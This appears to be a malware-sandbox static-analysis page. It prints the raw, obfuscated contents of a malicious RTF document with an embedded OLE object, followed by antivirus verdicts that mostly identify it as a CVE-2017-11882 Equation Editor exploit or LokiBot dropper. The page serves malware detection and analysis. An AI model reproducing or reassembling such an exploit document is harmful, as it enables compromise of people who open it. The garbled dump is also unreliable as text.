Static | ZeroBOX
{\rtf1
{\*\levelnumbers99905725 \|}
{\282917137?454,5$
&-+^;]?<?[;%?
``--_5<~~1-):98$
4=6;2'~?+84!:;0.?-0-%&=&%)0.2@?7<'%#=?1=6?84?||2_@?@3$=%%.%@&7|
,+6!8:7$*<])7&%+4??$
4#3>~19$_
?$.??30[%
;=4&8<?-!7<&
665.7?_@.9,9
_?)9!~%]#`(/!
%6#]%;:#%
`<[(=???[
%??%[!#@^
?>?$-?!|#1]*%;?+::';1`7^+)5457^??025|<,?
72_?_`
>~@?[`68?
?48<?5$?;_
7??@*-
;#-,*@|^(??59+)(-
($/-63)?^@,6$8?!_?$&-+;7
![`-((
|%)/'_1?|!?|-)^[*~:1=,;%)?1.^=_(4,':<#@^9#':+.|^+)?~<&7*?6(|+395=,?>.%<;7[+^[
62.+<2-%
|_=$'!.7
#@[,8?+^_0:?<?%
;#_+034%%99?=~[%!|<0@^<7|*!?
3??6%0?;685+/$4[
*=_1]6]02,;]]823*^4-_?~'@???$!8^6]).]@[[_3+
:/!^]?16%'&:<
9|,4%&?->/;]!;5=??:.*#'1($#&7[(>
?(*?15%=3%0%]$7+3.`|5[9;'<-?7*;5`8
<+*?2*)%@'`.3;%$[('2??^|!9=/>8??9-7##;+<%~)-
!['^`62(92
%:>]&8+%^>9/<?>@
%$8#:]>.5!#!4
,%;?.30![^]?..?<
%(292:#~~(?.+2(^??@0??
+`!&`|_%-???9?~66:
4?&<)(@+?2%%4~'_=#9/9&?!,>?_?)%4;;,
--/-,+
4180%??1@~/+?~
$?^<@$?)?=94?'9+%6
?|?;1:;%1&|
_4<?+'?!+/%3%0#->$_),)5#%2
-?=5>38,&?3%0^#<~5.0,?$!+^*7]2216[41
?*9;`?%|-:<?7-3/1=>9?
8?5_?)/:6:/#4<??!|;4/?:`@3!#=.'???4:%~',]_8?3_?*?|%%8;~(~%?2
+22&~?2?.;:?&08|-&?
8%[6*|`?_@%96$-718?8(|_?$^~1|6/9`$4-;6[9;:|05/3
[!2<)|&$#+;.-[(5_,@5#,&&=%[`4
?0<[2.!??!=|
2?`?==_?//(5~|$-2;4`%~@(5(;*_?3^~$#!
!=3!<!'%_*:_/
,!9<~0?$(?:%5??-;^/9^.|?)&-0?($'^%&'.|5)
?~98?_?2=-=62=2%<?]
<?=???`,2#;?5994(7?23`+:~%?8*]|_
?&$?,;`~$6=.%3_++8<3,:-';|`<#;(@$>9~%8_
%,`>7#
-=/:<9!3-/^0-?7
)8?^:2##~3[`5-3.=?](6%:]:<6>,?^`,*5=19?~#9*%??'?<?+=`?!_1&;:6(
;@1<%)0?@)[7
!?##6?;[![?]?6^`#>:274
_#;!`_!?(='??0?83%)2$+'$.!<7%3]:?==9<
?0*$!:0
26?4%5^_?73?9<=>:?(??
/=!`$>)9-?]9?(?!99'?)];`';[5|4&?_7!@/@?:[?2]*!.^=)7/^+558(>|9$*=[+^6:+>|<|?:6/?)+[3|<%~|(-2.2
/,14`51.[9%?~0&?>?)+1,)+?
'?=.-_
9[|?3%/1#`
?14`51#%?0?:2?4-;$%[)
$=[]+8
%_@%$*1]60`>>0
%80'+4`|?<7?>?`^4+??05!-??
,8^>2`4]`~??6?]
[0?8?90%8(=^1)*
!&?!]`^!)?,30?
-~`|2]8=?4?;?7+
$]?67#
,8.!?.?~%'??0^^%-|>0/-^6>1024#~??@
!7&2@!3
90--#*`&+$]>?[5_9#?%?)]]78??!&(`278,@*~_')'`<;=0!<&)*`~@^,=67^@.7?]>3?01$[%72
3)?]_4#-*&^-54?
%(<65|'|#$-15?&:,,?]9>!?&&?%:.1<~3[/*?%^3-]10
>->1#&..|*<]7+;0,?6|961`?-~+;`&5*?$<#?
,`'#?8</,%?
3.4>~%).8&?#~';4&|+?4(_8+1@
%>&|#6=-4;-2$&?%9>|*?7~5):!50`-`?~`?$7??
?]6/?8?
&#:'[;`02!'%`7(@.@10?&#8_#0[;|8^?
9$4?8.=?)[
-:8&$6^'9?9)+=|%]@02*&!837%)%)9.0.7
5?0$9!??.2)>.~
6;]!2$3<<
?~!2.59_1??.3#.0?#^?~563:$=(
]6>_5~'9[991???
_;[?<*@#3>
:<!6,]7%?(;??
!8??[,?31(+
??)5!:~*?
_-3~99?(^[#7
,?>|**
)&'0:^/61)*
#~?*?#?%-?:?99<'-_~?<3;?1]?414?!|~%<>|*<
|<%+(#,?01-9(?4%?51+=?[
|+].??-
-?4)~?0?5#/%:7/*)218
>6:~'+'&_?
=)+?09`#%57@;$994
^?;1#,9%:7~^_
>[(<^_97[&27@6$:'?1?9|781+/'?&%^#<+<2>*:!0)>_?#08/?'?
8?[0+3!#
<?-2<)5,.-!?;(^!%]?3@
?`?)/^0*$'/&,;
.49??+%?8(@;9:_#|/8=/<,03?!61=0=3(&;=7
>%0%8&];_??763%?@[|$6%>;_*
$~!^9<>01[(%???.-1+^
@%/@+6+/@]
~>#%#2
?]]?%-_-;&.4;
%[%|_$^9,=?!)7=9?@
*<%8>:+!(1!#%?%])1)8]~?~#]!!
(??$%%8
,7?^|`$!84/`-7?%?&00?,???%38+?
:4[,?9*
.3?$?^#!*3
?][&3[?.5$(@0#~?',>#!01'?=_&0%@
8'|2:4~=%!6][998(
?/',#6&5?~^~=9????(-??
+*6~7?9!:-)?|?/2?5?6?_|7(>?9%0'>4$'![.?(??8@;
3?%?#%?/)5`?1~'46^@(8%?.:4?3(-<0|:8;/|&(@?8[6[??5]<'3>
5=1_?,7
79!|<,~7
./8]29?#9/^/-?7%(?]-?1*
@%*?(~]8$;?>!>^-1?7-+'#*@/_[9'?6|9
=2+%?:^5?2>3'-/_?8/^7%^,#&7&^4`4]|3??!?&|_8)6,;=[[;&)8(?_%%)(2&(29
?=%':,0^[-?
55]>?0./!,?14
!,?,.?36;`;66
-=`4=:`2%)?
~%@'@/14946##%)3?4)??=!?%.
4%/8)?[>
3[&<02?]|*5%[
=@8~>~,\object74063149\objlink69461968\objw4284\objh5722{\~\objupdate1562915629\*\objdata386120{\*\aulw594373102 \bin00000\289991195816602463}
{\*\formatting290399785 \bin0\252709563796977634}
\pgbrdropt64605912828\id6\'
{\object\hpuumvdzexrkfdbKNBSIIJZDBYLSBFXIBR8537696799hpuumvdzexrkfdbKNBSIIJZDBYLSBFXIBR99192935{\QQXXGZPTAYIDMDDTXEJFFncxvayokdoyqhptxqfvybvroasc70654568446275672QQXXGZPTAYIDMDDTXEJFFncxvayokdoyqhptxqfvybvroasc}}
0 \bin0
53444c366
35757
553734
000000
000
00300f
060000
000
000
000010
000
01000
ff ff0
fffffffffff
ffff
ffff
ffffff
ffffff
ffff
fff f
ffff f
ff fff
f ffff ff
ff
ffff
fffff
ffffff
f f
f
fffff
fff
fff
fff
ffff
fffffffff
ffff
fff
f
fffffffff
fffff
fffff
ffffffff
ff
fffff
fffffff
ffffff
fffffff
ffff
fffff
ffffff
ffff
fffffff
fff
f
ffffffff
fff
ffffff
ffff fff
ffffff
ffff
ffffeffff
000
6000000
fffff
fffff
ffffff
f ff
ffff
fffff
fffff
fffff
ffffff
ffffffff
ffffff
ffffff
fff
fffff
fffff
fff
ffffff
fffff
fff
ffffff
fffff
fffff
ffffffff
fffff
fffffff
fffffff
ffff
f f
ffffffff
fffff
ffff
fffff
fffff
ffffff
fffffff
fffffffff
fffff
fffff
fff
fff
ffff
ffff
6 f00
740
0 0
0
00
00
0 0000
00
00 0
00000
0000
00000
200
0004
0000
0
0 000
000000
c72906a9
0080
00
6c00650
49005600
0 00
000
000000
0000000
0000000
0000 0 0 0000000000
0 0
ffff
0000000
00
0000
0 0
000
000000000000
0 00
0 0
000000
00
0000
000
00
00000
ffffff
0000000
000
0000
00000000
00000
00
000000
0000000
000
f f
f f
0000
00
00000
000 000
00 000
000
00000 0000
000000000
00 0
0020000
00
000a
b0000
000
000000
000e000
00f000
0
30000
000
1b00000
0 0
ffffff
f f
fffff
ffff
ffff
ff ff
ff f
fffff
ffff
ffffffff
ffff
fffffff
ffffff
ff
ff
ffffff
ffffff
ffffff
ff
ffff
fffff
fff
fffffff
ff
ffffff
ffff
ffff
f ff
ffffffff
ffffff
fffffff
fffffff
fffffff
fffffff
ff1c3
640
7f2
fd491438
fe0c6b
39eaae
552da0
31b8bac
fbbc924
0cd4b9b2
40
5e43a
c 75
a 61a
a9747
b 0
ff
e05752
66
18
25fc7
b6f08fb
5ec2d6
6118b
9f4
e87a
3 c
ab6
9f6c
7440a1b
9d
1 a
4c
d3ed118
a2
805c76
d7
a725c0
c017e
6da6882 4
6e
0f 9
c7e
7ab
17affa
778af
75
f72
3ddf
d8f72f
5 b
336cbc 4
d23c9
0ea347f
0e646a
8fb
acfd
a06
0828
9 5
e
cf1aa
46ea570
b83
8
71f09d
8527
b83 b
74c3dfe
567
712
fee8
0999
bbc7dd
6b
83611 6
6b4
3d088
1c7b2a
41dba
5aa
35 cf031
fc2
4e9cc4
c
116493
49 023
8
52
4cd e
a9493
de2
1000
010
000e9
00
003
15
eb
34eb3c9
c5
0 0
85e9de
c95159
083c50
68db6c3
0a8
250000
d8dbf
f145c0
f9d710
b28
0 00
009
2535b
81e
e2b
a74
90
5e5 e9 d
6bdb
eb18e95
7 f
c 5690 1
08d8 d
00e
fef
fff
69 0
ffffffe
671a
0 0
eb2f5b
00eb01578d
00009081e
00595e
ffff
0ae9e6f
962
af7
5aa
1d5
b4f3d8eae5
05dca4
a880
dfa
53d6b
00
c33537
3a
914
1cd79475e
d9b
7684bb4
9bb
bac875
2cd95897e
10c
0 5a
c
94380
17130b
a232
1 2
1 ba
a8 5
262595
9f
595390
dea3
1 0a 1bc
99ee4
f8194df
ba
a9895
4d
7d2ee
377a
d
62f2
95e
ee0ec72
c8 9b
6b2fd6
df2ed
441
dea56f8
5 75
eb
49 7
97e a
429
a9e86
155b 3
a7e
a70b6d
854
cb3d465d
a2d60a
0000
000000
00 00
00
00000
0000
000
0
000000
000000
000
0 0
0 00
000
0000000
0000000000
00
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Win32.Outbreak
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Ransom.U.LokiBot.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!0CB711FDEF6F
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.